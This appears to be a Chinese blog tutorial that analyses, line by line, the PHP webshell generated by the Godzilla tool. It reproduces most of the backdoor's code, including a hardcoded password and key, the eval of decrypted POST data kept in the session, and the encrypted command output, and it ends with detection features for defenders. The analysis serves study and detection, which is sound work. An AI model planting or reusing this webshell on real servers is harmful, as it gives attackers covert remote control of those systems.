哥斯拉PHP马逐句解析
Godzilla Webshell
[*] 参考博文:哥斯拉PHP马分析
1. webshell生成
GenerateShell
- 密码:pass
- 密钥:key
- 有效载荷:PhpDynamicPayload
- 加密器:PHP_XOR_BASE64
生成Webshell文件:shell.php
<?php
@session_start(); //创建或者重启一个会话
@set_time_limit(0); //设置程序最长运行时间:永久
@error_reporting(0); // 关闭错误报告
function encode($D,$K){ //通过密钥对 $D 进行加/解密
for($i=0;$i
-
可以看到这个Shell内容不是特别多,攻击荷载都在SESSION里,大部分代码在实现加密通信。一眼看过去好像没有特别明显的特征,不像冰蝎可以直接找"AES"然后看上下文。
[ 某技术论坛 ]
2. 逐句解析
2.1 开始准备
@session_start();
- session的工作原理
- 首先使用session_start()函数进行初始换
- 当执行PHP脚本时,通过使用$_SESSION超全局变量注册session变量。
- 当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中, 这个路径可以通过php.ini文件中的session.save_path指定,下次浏览网页时可以加载使用。
- session_start()做了哪些初始化工作
- 读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123
- 若读取到PHPSESSID这个COOKIE,创建$_SESSION变量,并从相应的目录中(可以再php.ini中设置)读取SESS_abc123(默认是这种命名方式)文件,将字符装在入$_SESSION变量中; 若没有读取到PHPSESSID这个COOKIE,也会创建$_SESSION变量,同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。
@set_time_limit(0);
# 语法:set_time_limit(time);
- 设置程序执行时间的函数
- 括号里边的数字是执行时间,如果为零说明永久执行直到程序结束;
- 如果为大于零的数字,则不管程序是否执行完成,到了设定的秒数,程序结束。
@error_reporting(0);
# 语法:error_reporting(level);
-
规定不同的错误级别报告:
-
关闭错误报告
error_reporting(0);
-
报告 runtime 错误
error_reporting(E_ERROR | E_WARNING | E_PARSE);
-
报告所有错误
error_reporting(E_ALL);
-
等同 error_reporting(E_ALL);
ini_set("error_reporting", E_ALL);
-
报告 E_NOTICE 之外的所有错误
error_reporting(E_ALL & ~E_NOTICE);
2.2 定义encode函数
function encode($D,$K){
for($i=0;$i
-
定义函数encode:
-
定义一个循环,用第一个参数($D)的长度来控制循环次数
-
将$i加一,然后和15按位与(&),定义一个变量 $C 来存储
注意:运算符"+" 的优先级比 位运算符"&"要高
2.3 定义三个参数
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
- 创建三个变量
pass
:用来定义木马监听POST请求中的哪个变量,简单来说就是如果给$pass赋值pass,就需要通过在POST请求中给pass变量赋值,去访问该文件,实现远控。
payloadName
:$payloadName的值用来在SESSION中存取攻击荷载,可以随意赋值。
key
:$key的值用来存储encode()方法中加解密会用到的盐值。
2.4 Webshell主体部分
if (isset($_POST[$pass])){
- 通过isset()监听POST请求,
$data=encode(base64_decode($_POST[$pass]),$key);
- 取出传入的攻击荷载/远控命令解密后赋给F
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
# 语法:strpos(string,find,start)
-
() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
注意: 字符串位置从 0 开始,不是从 1 开始。
-
注意:strpos() 函数是区分大小写的。
-
注意:该函数是二进制安全的。
-
相关函数:
- strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
- stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
- strripos() -查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
$payload=encode($payload,$key);
- 通过密钥对 $payload 进行加/解密,将
eval($payload);
# 语法:eval(phpcode)
-
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
返回值:除非在代码字符串中调用 return 语句,则返回传给 return 语句的值,否则返回 NULL。如果代码字符串中存在解析错误,则 eval() 函数返回 FALSE。
echo substr(md5($pass.$key),0,16);
# 语法:substr(string,start,length)
-
substr() 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
-
先将远控命令和盐值进行拼接,然后计算拼接得出的字符串的MD5值,取前16位放在返回值前面
echo base64_encode(encode(@run($data),$key));
- 通过攻击荷载中的 run() 方法执行远控命令,然后对返回的字符串加密,并输出加密后的字符串。
echo substr(md5($pass.$key),16);
- 取之前计算出的字符串的MD5值第16位后面的部分,放在返回值的后面。回显前后添加字符串,一方面是在进行二次加密,另一方面可以让哥斯拉服务端知道返回的是哪条命令的回显。
if (strpos($data,"getBasicsInfo")!==false){
- 判断 $date 里是否出现了 "getBasicsInfo"
$_SESSION[$payloadName]=encode($data,$key); //将攻击荷载存储到SESSION ?
- 将攻击荷载存储到SESSION
3. 总结
3.1 木马的利用逻辑:
-
第一次通信时,服务端通过POST方式传递一个名叫pass的参数给木马,给pass参数赋的值是加密后的一组用”|”隔开的方法,也就是接下来要使用的攻击荷载。荷载在解密后被存入SESSION,供之后使用。
-
从第二次通信开始,pass传入的是远控命令,通过攻击荷载中的run()方法执行远控命令。然后对回显进行加密后传输给哥斯拉的服务端。
3.2 木马特征:
因为涉及到了服务端的运行逻辑、不管再怎么改造、变形,以下几点应该是没法隐藏的:
- run()方法是写死在攻击荷载里面的,代码一定会调用这个方法执行传入的参数。
- 有一个向SESSION中存储攻击荷载的过程,就是会有一个$_SESSION[$XXX]=P的过程,这里的P是通过POST方法传进来的参数。
- 会将传入的参数解密、拼接后取MD5,前16位加到回显的前端,其余的部分加到回显的后端。
4. 其他补充
“@” 符号的意义
- 它会抑制错误消息。
- PHP支持一个错误控制操作符:at符号(@)。当添加到PHP中的表达式时,该表达式可能生成的任何错误消息都将被忽略。
- 但要注意的是:这个控制只是将错误信息屏蔽掉,不让其显示出来,并不是真正的解决错误。
相关